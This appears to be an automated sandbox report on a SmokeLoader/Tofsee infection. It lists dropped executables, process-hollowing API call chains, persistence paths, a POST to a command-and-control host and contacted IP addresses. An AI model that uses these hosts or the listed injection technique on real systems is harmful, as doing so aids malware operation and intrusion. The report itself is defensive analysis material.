","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0011"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":103460073,"MaxInstallSizeInBytes":201740288,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.174.631.0_x86__zpdnekdrzrea0","PackageId":"377324a7-6cb1-b0f7-9c77-af6e5647f10c-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.174.631.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275328,\"platform.minVersion\":2814750710366559,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Music\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"sy
Source: 2203.exe, 00000029.00000002.934336036.00000000035D6000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934869668.0000000003689000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://oxviqvl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.4:49863 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.0.BC2D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rffhjft.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7NAzyCWRyM.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.BC2D.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.775218110.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.704358355.0000000004F21000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717525714.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810053308.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717561910.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.775267751.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810181998.00000000006A1000.00000004.00020000.sdmp, type: MEMORY

Source: BC2D.exe, 00000013.00000002.795697546.000000000075A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.11C5.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.riwtgmp.exe.490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.470e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.852274958.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.825669935.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852203023.0000000000470000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842688686.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.926221014.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.850412720.0000000000490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852028217.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842975552.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: riwtgmp.exe PID: 1844, type: MEMORYSTR

System Summary:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_0042A060	0_2_0042A060
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00429280	0_2_00429280
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_005431FF	0_2_005431FF
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00543253	0_2_00543253
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 10_2_00473253	10_2_00473253
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 10_2_004731FF	10_2_004731FF
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402A5F	11_2_00402A5F
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402AB3	11_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_004027CA	13_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_00401FF1	13_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_0040158E	13_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_004015A6	13_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_004015BC	13_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_00436340	13_2_00436340
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_00435560	13_2_00435560
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_005415DE	13_2_005415DE
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_005415F6	13_2_005415F6
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_0054160C	13_2_0054160C
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_00543253	19_2_00543253
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_005431FF	19_2_005431FF
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402A5F	20_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402AB3	20_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402A5F	20_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402B2E	20_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00410800	21_2_00410800
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00411280	21_2_00411280
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004103F0	21_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004109F0	21_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00480640	21_2_00480640
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00480C40	21_2_00480C40
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00480A50	21_2_00480A50
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004814D0	21_2_004814D0
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_02929838	24_2_02929838
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_02920B48	24_2_02920B48
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_02920470	24_2_02920470
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_02920462	24_2_02920462
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04ED1810	24_2_04ED1810
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04ED53F8	24_2_04ED53F8
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04ED0448	24_2_04ED0448
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04ED2E48	24_2_04ED2E48
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE2CA8	24_2_04EE2CA8
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EEA450	24_2_04EEA450
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EEAD88	24_2_04EEAD88
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE1548	24_2_04EE1548
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE67D8	24_2_04EE67D8
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE4778	24_2_04EE4778
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE90E0	24_2_04EE90E0
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE08D8	24_2_04EE08D8
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EE90F3	24_2_04EE90F3
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F71F09	24_2_04F71F09
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_0040C913	38_2_0040C913
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_0042A110	38_2_0042A110
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_00429330	38_2_00429330

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

38_2_00401280

Source: 7NAzyCWRyM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7NAzyCWRyM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7NAzyCWRyM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7NAzyCWRyM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DDEE.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DDEE.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DDEE.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DDEE.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 11C5.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 11C5.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 11C5.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 11C5.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9A8F.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8633.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8633.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC2D.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC2D.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC2D.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC2D.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC8F.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BC8F.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rffhjft.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rffhjft.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rffhjft.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rffhjft.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: riwtgmp.exe.23.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: riwtgmp.exe.23.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: riwtgmp.exe.23.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: riwtgmp.exe.23.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\AppData\Local\Temp\2203.exe

Section loaded: mscorjit.dll

Source: sqlite3[1].dll.21.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.21.dr	Static PE information: Number of sections : 19 > 10

Source: 7NAzyCWRyM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\olbcncjm\

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: String function: 0041F2C0 appears 121 times
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: String function: 0041F590 appears 165 times
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: String function: 0042CE40 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: String function: 00422600 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: String function: 00422440 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: String function: 00422920 appears 32 times

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00540110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00540110
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 10_2_00470110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	10_2_00470110
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00401962 Sleep,NtTerminateProcess,	11_2_00401962
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_0040196D Sleep,NtTerminateProcess,	11_2_0040196D
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_00402000
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	11_2_0040250A
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00401A0B NtTerminateProcess,	11_2_00401A0B
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201A
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201E
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040202D
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402084 LocalAlloc,NtQuerySystemInformation,	11_2_00402084
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402491 NtOpenKey,	11_2_00402491
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_00540110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	19_2_00540110
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00401962 Sleep,NtTerminateProcess,	20_2_00401962
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_0040196D Sleep,NtTerminateProcess,	20_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_00402000
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	20_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00401A0B NtTerminateProcess,	20_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402084 LocalAlloc,NtQuerySystemInformation,	20_2_00402084
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402491 NtOpenKey,	20_2_00402491
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_00402000
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	20_1_0040250A
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040201A
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040201E
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040202D
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402084 LocalAlloc,NtQuerySystemInformation,	20_1_00402084
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402491 NtOpenKey,	20_1_00402491
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F707E0 NtUnmapViewOfSection,	24_2_04F707E0
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F708C0 NtAllocateVirtualMemory,	24_2_04F708C0
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F707D9 NtUnmapViewOfSection,	24_2_04F707D9
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F708B8 NtAllocateVirtualMemory,	24_2_04F708B8

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

38_2_00408E26

Source: BC8F.exe.5.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 9A8F.exe.5.dr

Static PE information: Section: .CRT ZLIB complexity 0.999354197206

Source: 7NAzyCWRyM.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rffhjft

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@56/26@55/15

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

